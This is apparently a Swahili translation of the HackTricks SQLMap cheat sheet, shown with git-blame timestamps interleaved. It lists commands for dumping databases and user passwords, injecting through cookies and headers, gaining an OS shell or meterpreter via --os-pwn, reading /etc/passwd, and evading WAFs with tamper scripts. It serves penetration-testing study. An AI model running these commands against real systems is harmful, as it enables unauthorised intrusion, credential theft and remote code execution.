2024-03-29 21:14:28 +00:00
# SQLMap - Mwongozo wa Haraka
2022-04-28 16:01:33 +00:00
< details >
2024-03-17 16:40:00 +00:00
< summary > < strong > Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-01 17:15:10 +00:00
2024-03-29 21:14:28 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA** ](https://github.com/sponsors/carlospolop )!
2024-03-17 16:40:00 +00:00
* Pata [**bidhaa rasmi za PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-03-29 21:14:28 +00:00
* Gundua [**Familia ya PEASS** ](https://opensea.io/collection/the-peass-family ), mkusanyiko wetu wa [**NFTs** ](https://opensea.io/collection/the-peass-family ) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-17 16:40:00 +00:00
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos za github.
2022-04-28 16:01:33 +00:00
2023-04-30 21:54:03 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2024-03-29 21:14:28 +00:00
< figure > < img src = "../../../.gitbook/assets/image (2) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-03-29 21:14:28 +00:00
**Usanidi wa haraka unaopatikana mara moja kwa tathmini ya hatari na upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka uchunguzi hadi ripoti. Hatuchukui nafasi ya wadukuzi - tunatengeneza zana za desturi, moduli za ugunduzi na uchimbaji ili kuwapa muda wa kuchimba kwa kina, kufungua makompyuta, na kufurahi.
2022-04-28 16:01:33 +00:00
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
2024-03-17 16:40:00 +00:00
## Vigezo vya Msingi kwa SQLmap
2020-07-22 19:36:23 +00:00
2024-03-17 16:40:00 +00:00
### Jenariki
2020-07-22 19:36:23 +00:00
```bash
2024-02-11 02:13:58 +00:00
-u "< URL > "
-p "< PARAM TO TEST > "
--user-agent=SQLMAP
--random-agent
--threads=10
2020-07-22 19:36:23 +00:00
--risk=3 #MAX
--level=5 #MAX
2024-02-11 02:13:58 +00:00
--dbms="< KNOWN DB TECH > "
2020-07-22 19:36:23 +00:00
--os="< OS > "
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="< AUTH > " #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="< AUTH > " #HTTP authentication credentials (name:password)
2021-02-20 22:42:34 +00:00
--proxy=http://127.0.0.1:8080
2020-07-22 21:57:22 +00:00
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
2020-07-22 19:36:23 +00:00
```
2024-03-17 16:40:00 +00:00
### Pata Taarifa
2020-07-22 19:36:23 +00:00
2024-03-17 16:40:00 +00:00
#### Ndani
2020-07-22 19:36:23 +00:00
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
2021-02-05 15:03:46 +00:00
--privileges #Get privileges
2020-07-22 19:36:23 +00:00
```
2024-02-11 02:13:58 +00:00
#### Data ya DB
2020-07-22 19:36:23 +00:00
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D < DB NAME > )
--columns #Columns of a table ( -D < DB NAME > -T < TABLE NAME > )
-D < DB NAME > -T < TABLE NAME > -C < COLUMN NAME > #Dump column
```
2024-03-17 16:40:00 +00:00
## Mahali pa Uingizaji
2020-07-22 19:36:23 +00:00
2024-03-17 16:40:00 +00:00
### Kutoka kwa Kukamata Burp/ZAP
2020-07-22 19:36:23 +00:00
2024-03-17 16:40:00 +00:00
Kukamata ombi na kuunda faili ya req.txt
2020-07-22 19:36:23 +00:00
```bash
sqlmap -r req.txt --current-user
```
2024-03-17 16:40:00 +00:00
### Kuingiza Ombi la GET
2020-07-22 19:36:23 +00:00
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
2024-03-17 16:40:00 +00:00
### Kuingiza Ombi la POST
2020-07-22 19:36:23 +00:00
```bash
sqlmap -u "http://example.com" --data "username=*& password=*"
```
2024-03-17 16:40:00 +00:00
### Uingizaji katika Vichwa vya Habari na njia nyingine za HTTP
2020-07-22 19:36:23 +00:00
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
2024-03-17 16:40:00 +00:00
### Onyesha string wakati injection inafanikiwa
2024-02-11 02:13:58 +00:00
```bash
--string="string_showed_when_TRUE"
```
2023-04-30 21:54:03 +00:00
### Eval
2021-06-25 15:27:40 +00:00
2024-03-17 16:40:00 +00:00
**Sqlmap** inaruhusu matumizi ya `-e` au `--eval` kusindika kila mzigo kabla ya kutuma na python oneliner fulani. Hii inafanya iwe rahisi na haraka kusindika kwa njia za desturi mzigo kabla ya kutuma. Katika mfano ufuatao **kikao cha kuki cha flask** **kinasainiwa na flask na siri inayojulikana kabla ya kutuma** :
2021-06-25 15:27:40 +00:00
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
2024-03-17 16:40:00 +00:00
### Kifuniko
2020-07-22 19:36:23 +00:00
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
2024-02-11 02:13:58 +00:00
### Soma Faili
2021-05-04 23:29:00 +00:00
```bash
--file-read=/etc/passwd
```
2024-03-17 16:40:00 +00:00
### Kutambaa tovuti kwa kutumia SQLmap na kiotomatiki kutekeleza shambulio
2020-07-22 19:36:23 +00:00
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
2024-03-29 21:14:28 +00:00
### Kuingiza ya Pili
2021-05-04 23:29:00 +00:00
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://< IP / domain > /joomla/administrator/index.php" -D "joomla" -dbs
```
2024-03-29 21:14:28 +00:00
[**Soma chapisho hili** ](second-order-injection-sqlmap.md )**kuhusu jinsi ya kutekeleza sindano za pili za kawaida na ngumu na sqlmap.**
2021-05-04 23:29:00 +00:00
2024-02-11 02:13:58 +00:00
## Kubinafsisha Sindano
2020-07-22 19:36:23 +00:00
2024-03-29 21:14:28 +00:00
### Weka kisitiri
2020-07-22 19:36:23 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
2024-02-11 02:13:58 +00:00
### Kiambishi
2020-07-22 19:36:23 +00:00
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
2024-03-17 16:40:00 +00:00
### Kusaidia kupata uingizaji wa boolean
2020-07-22 19:36:23 +00:00
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
2024-02-11 02:13:58 +00:00
### Kuharibu
2020-07-22 19:36:23 +00:00
2024-03-29 21:14:28 +00:00
Kumbuka kwamba **unaweza kuunda kiharibu chako mwenyewe kwa kutumia python** na ni rahisi sana. Unaweza kupata mfano wa kiharibu katika [ukurasa wa Kuingiza Mara ya Pili hapa ](second-order-injection-sqlmap.md ).
2020-07-22 19:36:23 +00:00
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
2024-02-11 02:13:58 +00:00
| Tamper | Maelezo |
2024-03-17 16:40:00 +00:00
| ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
2024-03-29 21:14:28 +00:00
| apostrophemask.py | Badilisha herufi ya apostrophe na mbadala wake wa UTF-8 kamili |
2024-03-17 16:40:00 +00:00
| apostrophenullencode.py | Badilisha herufi ya apostrophe na mbadala wake haramu wa mara mbili wa unicode |
| appendnullbyte.py | Ongeza herufi ya NULL iliyofungwa mwishoni mwa mzigo |
| base64encode.py | Base64 herufi zote katika mzigo uliopewa |
2024-03-29 21:14:28 +00:00
| between.py | Badilisha mwendeshaji mkubwa ('>') na 'SI KATI YA 0 NA #' |
2024-03-17 16:40:00 +00:00
| bluecoat.py | Badilisha herufi ya nafasi baada ya taarifa ya SQL na herufi sahihi tupu ya random. Kisha badilisha herufi = na mwendeshaji KAMA |
2024-03-29 21:14:28 +00:00
| chardoubleencode.py | Double url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) |
2024-03-17 16:40:00 +00:00
| commalesslimit.py | Badilisha visa kama 'KIKOMBO M, N' na 'KIKOMBO N OFFSET M' |
2024-03-29 21:14:28 +00:00
| commalessmid.py | Badilisha visa kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)' |
2024-03-17 16:40:00 +00:00
| concat2concatws.py | Badilisha visa kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
2024-03-29 21:14:28 +00:00
| charencode.py | Url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) |
| charunicodeencode.py | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "%u0022" |
| charunicodeescape.py | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "\u0022" |
2024-03-17 16:40:00 +00:00
| equaltolike.py | Badilisha visa vyote vya mwendeshaji sawa ('=') na mwendeshaji 'KAMA' |
| escapequotes.py | Kukataa kushuka kwa herufi (' na ") |
| greatest.py | Badilisha mwendeshaji mkubwa ('>') na mbadala wa 'KUBWA' |
2024-03-29 21:14:28 +00:00
| halfversionedmorekeywords.py | Ongeza maoni ya MySQL yenye toleo mbele ya kila neno muhimu |
2024-03-17 16:40:00 +00:00
| ifnull2ifisnull.py | Badilisha visa kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Zungusha swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Zungusha swali kamili na maoni yenye toleo sifuri |
| multiplespaces.py | Ongeza nafasi nyingi karibu na maneno muhimu ya SQL |
2024-03-29 21:14:28 +00:00
| nonrecursivereplacement.py | Badilisha maneno muhimu ya SQL yaliyopangwa mapema na uwakilishi unaofaa kwa kubadilishwa (k.m. .badilisha("CHAGUA", "")) |
2024-03-17 16:40:00 +00:00
| percentage.py | Ongeza alama ya asilimia ('%') mbele ya kila herufi |
| overlongutf8.py | Geuza herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) |
| randomcase.py | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya random |
| randomcomments.py | Ongeza maoni ya random kwa maneno muhimu ya SQL |
2024-03-29 21:14:28 +00:00
| securesphere.py | Ongeza mzigo maalum ulioandaliwa |
2024-03-17 16:40:00 +00:00
| sp\_password.py | Ongeza 'sp\_password' mwishoni mwa mzigo kwa kuficha moja kwa moja kutoka kwenye magogo ya DBMS |
| space2comment.py | Badilisha herufi ya nafasi (' ') na maoni |
2024-03-29 21:14:28 +00:00
| space2dash.py | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na herufi ya random na mstari mpya ('\n') |
| space2hash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n') |
| space2morehash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n') |
2024-03-17 16:40:00 +00:00
| space2mssqlblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala |
| space2mssqlhash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na mstari mpya ('\n') |
| space2mysqlblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala |
| space2mysqldash.py | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na mstari mpya ('\n') |
| space2plus.py | Badilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala |
2024-03-29 21:14:28 +00:00
| symboliclogical.py | Badilisha waendeshaji wa mantiki AND na OR na mbadala zao wa ishara (& & na |
2024-03-17 16:40:00 +00:00
| unionalltounion.py | Badilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Badilisha herufi ya nukuu (') na combo ya multi-byte %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya kazi) |
| uppercase.py | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya juu 'WEKA' |
| varnish.py | Ongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Zungusha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Zungusha kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Ongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
2024-03-29 21:14:28 +00:00
< figure > < img src = "../../../.gitbook/assets/image (2) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-17 16:40:00 +00:00
2024-03-29 21:14:28 +00:00
**Usanidi wa papo hapo wa upimaji wa udhaifu & uchunguzi wa kuingilia**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi.
2022-04-28 16:01:33 +00:00
2024-01-11 13:23:18 +00:00
{% embed url="https://pentest-tools.com/" %}
2022-04-28 16:01:33 +00:00
2023-04-30 21:54:03 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-03-17 16:40:00 +00:00
< summary > < strong > Jifunze kuhusu kuingilia AWS kutoka sifuri hadi shujaa na< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2024-01-01 17:15:10 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-29 21:14:28 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI** ](https://github.com/sponsors/carlospolop )!
2024-03-17 16:40:00 +00:00
* Pata [**bidhaa rasmi za PEASS & HackTricks** ](https://peass.creator-spring.com )
* Gundua [**Familia ya PEASS** ](https://opensea.io/collection/the-peass-family ), mkusanyiko wetu wa [**NFTs** ](https://opensea.io/collection/the-peass-family ) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Shiriki mbinu zako za kuingilia kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
< / details >